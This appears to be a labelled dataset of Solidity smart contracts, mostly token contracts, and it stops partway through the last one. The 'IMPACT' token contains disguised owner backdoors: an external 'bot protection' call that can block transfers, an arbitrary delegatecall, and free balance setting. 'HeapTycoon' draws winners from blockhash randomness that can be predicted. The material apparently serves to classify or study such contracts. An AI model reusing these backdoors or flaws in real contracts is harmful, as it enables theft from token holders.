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pragma solidity ^0.4.19;
pragma solidity ^0.4.19;
pragma solidity ^0.4.19;
pragma solidity ^0.4.19;
contract EIP20Token {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool success);
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function approve(address spender, uint256 value) public returns (bool success);
function allowance(address owner, address spender) public view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min256(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
pragma solidity ^0.4.19;
contract Burnable {
function burnTokens(address account, uint value) internal;
event Burned(address account, uint value);
}
pragma solidity ^0.4.19;
contract Mintable {
function mintInternal(address receiver, uint amount) internal;
event Minted(address receiver, uint amount);
}
contract StandardToken is EIP20Token, Burnable, Mintable {
using SafeMath for uint;
uint private total_supply;
mapping(address => uint) private balances;
mapping(address => mapping (address => uint)) private allowed;
function totalSupply() public view returns (uint) {
return total_supply;
}
function transfer(address to, uint value) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
function balanceOf(address account) public view returns (uint balance) {
return balances[account];
}
function transferFrom(address from, address to, uint value) public returns (bool success) {
uint allowance = allowed[from][msg.sender];
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowance.sub(value);
Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns (bool success) {
require (value == 0 || allowed[msg.sender][spender] == 0);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
return true;
}
function allowance(address account, address spender) public view returns (uint remaining) {
return allowed[account][spender];
}
function addApproval(address spender, uint addedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][spender];
allowed[msg.sender][spender] = oldValue.add(addedValue);
Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function subApproval(address spender, uint subtractedValue) public returns (bool success) {
uint oldVal = allowed[msg.sender][spender];
if (subtractedValue > oldVal) {
allowed[msg.sender][spender] = 0;
} else {
allowed[msg.sender][spender] = oldVal.sub(subtractedValue);
}
Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function burnTokens(address account, uint value) internal {
balances[account] = balances[account].sub(value);
total_supply = total_supply.sub(value);
Transfer(account, 0, value);
Burned(account, value);
}
function mintInternal(address receiver, uint amount) internal {
total_supply = total_supply.add(amount);
balances[receiver] = balances[receiver].add(amount);
Minted(receiver, amount);
Transfer(0, receiver, amount);
}
}
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ReleasableToken is StandardToken, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier canTransfer(address sender) {
require(released || transferAgents[sender]);
_;
}
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) {
return super.transferFrom(from, to, value);
}
}
pragma solidity ^0.4.19;
pragma solidity ^0.4.19;
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address from, uint value) public;
}
contract UpgradeableToken is EIP20Token, Burnable {
using SafeMath for uint;
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint public totalUpgraded = 0;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed from, address to, uint value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address master) internal {
setUpgradeMaster(master);
}
function upgrade(uint value) public {
UpgradeState state = getUpgradeState();
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading);
require(value != 0);
upgradeAgent.upgradeFrom(msg.sender, value);
burnTokens(msg.sender, value);
totalUpgraded = totalUpgraded.add(value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) onlyMaster external {
require(canUpgrade());
require(agent != 0x0);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply());
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public view returns(UpgradeState) {
if (!canUpgrade()) return UpgradeState.NotAllowed;
else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function changeUpgradeMaster(address new_master) onlyMaster public {
setUpgradeMaster(new_master);
}
function setUpgradeMaster(address new_master) private {
require(new_master != 0x0);
upgradeMaster = new_master;
}
function canUpgrade() public view returns(bool) {
return true;
}
modifier onlyMaster() {
require(msg.sender == upgradeMaster);
_;
}
}
pragma solidity ^0.4.19;
contract LostAndFoundToken {
function getLostAndFoundMaster() internal view returns (address);
function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public {
require(msg.sender == getLostAndFoundMaster());
token_contract.approve(agent, tokens);
}
}
pragma solidity ^0.4.19;
contract MintableToken is Mintable, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
function MintableToken(uint initialSupply, address multisig, bool mintable) internal {
require(multisig != address(0));
require(mintable || initialSupply != 0);
if (initialSupply > 0)
mintInternal(multisig, initialSupply);
mintingFinished = !mintable;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
mintInternal(receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken {
string public name = "Cryptosolartech";
string public symbol = "CST";
uint8 public decimals;
address public lost_and_found_master;
function CrowdsaleToken(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public
UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) {
require(token_retriever != address(0));
decimals = token_decimals;
lost_and_found_master = token_retriever;
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public view returns(bool) {
return released && super.canUpgrade();
}
function burn(uint value) public {
burnTokens(msg.sender, value);
}
function getLostAndFoundMaster() internal view returns(address) {
return lost_and_found_master;
}
} | 1 | 3,122 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract CoooinsCoinAd {
using SafeMath for uint256;
string public adMessage;
string public adUrl;
uint256 public purchaseTimestamp;
uint256 public purchaseSeconds;
uint256 public adPriceWeek;
uint256 public adPriceMonth;
address public contractOwner;
event newAd(address indexed buyer, uint256 amount, string adMessage, string adUrl, uint256 purchaseSeconds, uint256 purchaseTimestamp);
modifier onlyContractOwner {
require(msg.sender == contractOwner);
_;
}
constructor() public {
adPriceWeek = 50000000000000000;
adPriceMonth = 150000000000000000;
contractOwner = 0x2E26a4ac59094DA46a0D8d65D90A7F7B51E5E69A;
}
function withdraw() public onlyContractOwner {
contractOwner.transfer(address(this).balance);
}
function setAdPriceWeek(uint256 amount) public onlyContractOwner {
adPriceWeek = amount;
}
function setAdPriceMonth(uint256 amount) public onlyContractOwner {
adPriceMonth = amount;
}
function updateAd(string message, string url) public payable {
require(msg.value >= adPriceWeek);
require(block.timestamp > purchaseTimestamp.add(purchaseSeconds));
if (msg.value >= adPriceMonth) {
purchaseSeconds = 2592000;
} else {
purchaseSeconds = 604800;
}
adMessage = message;
adUrl = url;
purchaseTimestamp = block.timestamp;
emit newAd(msg.sender, msg.value, adMessage, adUrl, purchaseSeconds, purchaseTimestamp);
}
function getPurchaseTimestampEnds() public view returns (uint _getPurchaseTimestampAdEnds) {
return purchaseTimestamp.add(purchaseSeconds);
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
} | 1 | 4,156 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract IMPACT is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 424128123000000000000000000;
string public name = "Alpha Impact";
string public symbol = "IMPACT";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wBNB, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,969 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract HeapTycoon is Ownable
{
using SafeMath for uint256;
uint8 PAGE_SIZE = 25;
uint256 MASTER_FEE = 5000000000000000;
uint256 MIN_TICKET = 10000000000000000;
uint256 MAX_TICKET = 10000000000000000000;
address public master;
struct Heap
{
uint256 ticket;
uint256 time;
bytes32 name;
uint256 fee;
address owner;
uint256 cap;
uint256 timer;
uint256 timer_inc;
uint256 bonus;
uint256 bonus_fee;
address cur_addr;
address[] players;
}
Heap[] heaps;
mapping(bytes32 => bool) used_names;
constructor(address addr) public
{
master = addr;
used_names[bytes32(0)] = true;
}
function set_master(address addr) public onlyOwner
{
require(addr != address(0));
master = addr;
}
function create(uint256 ticket, bytes32 name, uint256 fee, uint256 timer_inc, uint256 bonus_fee) public payable
{
require(msg.sender == tx.origin);
require(msg.value >= ticket.mul(20));
require(ticket >= MIN_TICKET);
require(ticket <= MAX_TICKET);
require(used_names[name] == false);
require(fee <= ticket.div(10));
require(fee >= ticket.div(10000));
require(timer_inc >= 30);
require(timer_inc <= 10 days);
require(bonus_fee <= ticket.div(10));
require(bonus_fee >= ticket.div(10000));
require(msg.sender != address(0));
require(msg.sender != address(this));
require(msg.sender != address(master));
require(msg.sender != address(owner));
address[] memory players;
Heap memory heap = Heap(ticket, now, name, fee, msg.sender, 0, now.add(timer_inc), timer_inc, 0, bonus_fee, address(0), players);
used_names[name] = true;
heaps.push(heap);
master.transfer(msg.value);
}
function buy(uint256 id) public payable
{
require(msg.sender == tx.origin);
require(id < heaps.length);
require(msg.value >= heaps[id].ticket);
require(msg.sender != address(0));
require(msg.sender != address(this));
require(msg.sender != address(master));
require(msg.sender != address(owner));
bytes32 hash;
uint256 index;
uint256 val;
bool res;
uint256 bonus_val;
val = heaps[id].ticket.sub(heaps[id].fee).sub(MASTER_FEE).sub(heaps[id].bonus_fee).div(10);
heaps[id].players.push(msg.sender);
if(now < heaps[id].timer)
{
heaps[id].cur_addr = msg.sender;
heaps[id].timer = heaps[id].timer.add(heaps[id].timer_inc);
heaps[id].bonus = heaps[id].bonus.add(heaps[id].bonus_fee);
}
else
{
bonus_val = heaps[id].bonus;
heaps[id].bonus = heaps[id].bonus_fee;
heaps[id].timer = now.add(heaps[id].timer_inc);
}
heaps[id].cap = heaps[id].cap.add(msg.value);
res = master.send(MASTER_FEE);
for(uint8 i = 0; i < 10; i++)
{
hash = keccak256(abi.encodePacked(uint256(blockhash(block.number - (i + 1))) + uint256(msg.sender) + uint256(heaps.length)));
index = uint256(hash) % heaps[id].players.length;
res = heaps[id].players[index].send(val);
}
if(bonus_val > 0)
res = heaps[id].cur_addr.send(bonus_val);
res = heaps[id].owner.send(heaps[id].fee);
}
function get_len() external view returns (uint256)
{
return heaps.length;
}
function get_heaps(uint256 page) external view returns (uint256[] ids, uint256[] tickets, bytes32[] names, uint256[] caps, uint256[] timers, uint256[] bonuses)
{
ids = new uint256[](PAGE_SIZE);
tickets = new uint256[](PAGE_SIZE);
names = new bytes32[](PAGE_SIZE);
caps = new uint256[](PAGE_SIZE);
timers = new uint256[](PAGE_SIZE);
bonuses = new uint256[](PAGE_SIZE);
uint256 start = page.mul(PAGE_SIZE);
uint256 timer;
for(uint256 i = 0; i < PAGE_SIZE; i++)
{
if(start + i < heaps.length)
{
timer = 0;
if(now < heaps[start + i].timer)
timer = heaps[start + i].timer - now;
ids[i] = start + i;
tickets[i] = heaps[start + i].ticket;
names[i] = heaps[start + i].name;
caps[i] = heaps[start + i].cap;
timers[i] = timer;
bonuses[i] = heaps[start + i].bonus;
}
}
}
function is_name_used(bytes32 name) external view returns(bool)
{
return used_names[name];
}
function get_heap(uint256 id) external view returns(uint256[] data, bytes32 name, address owner, address cur_addr)
{
data = new uint256[](11);
if(id >= heaps.length)
return;
name = heaps[id].name;
owner = heaps[id].owner;
cur_addr = heaps[id].cur_addr;
uint timer;
if(now < heaps[id].timer)
timer = heaps[id].timer - now;
data[0] = heaps[id].ticket;
data[1] = heaps[id].time;
data[2] = heaps[id].fee;
data[3] = heaps[id].cap;
data[4] = timer;
data[5] = heaps[id].timer_inc;
data[6] = heaps[id].bonus;
data[7] = heaps[id].bonus_fee;
data[8] = heaps[id].ticket.sub(heaps[id].fee).sub(MASTER_FEE).sub(heaps[id].bonus_fee).div(10);
}
} | 0 | 671 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Ammut";
string public constant TOKEN_SYMBOL = "XAMM";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0x0928999e848B458a5d289798D1D2b805d559fF07;
uint public constant START_TIME = 1551391200;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,188 |
pragma solidity 0.6.7;
interface IUniswapV2Factory {
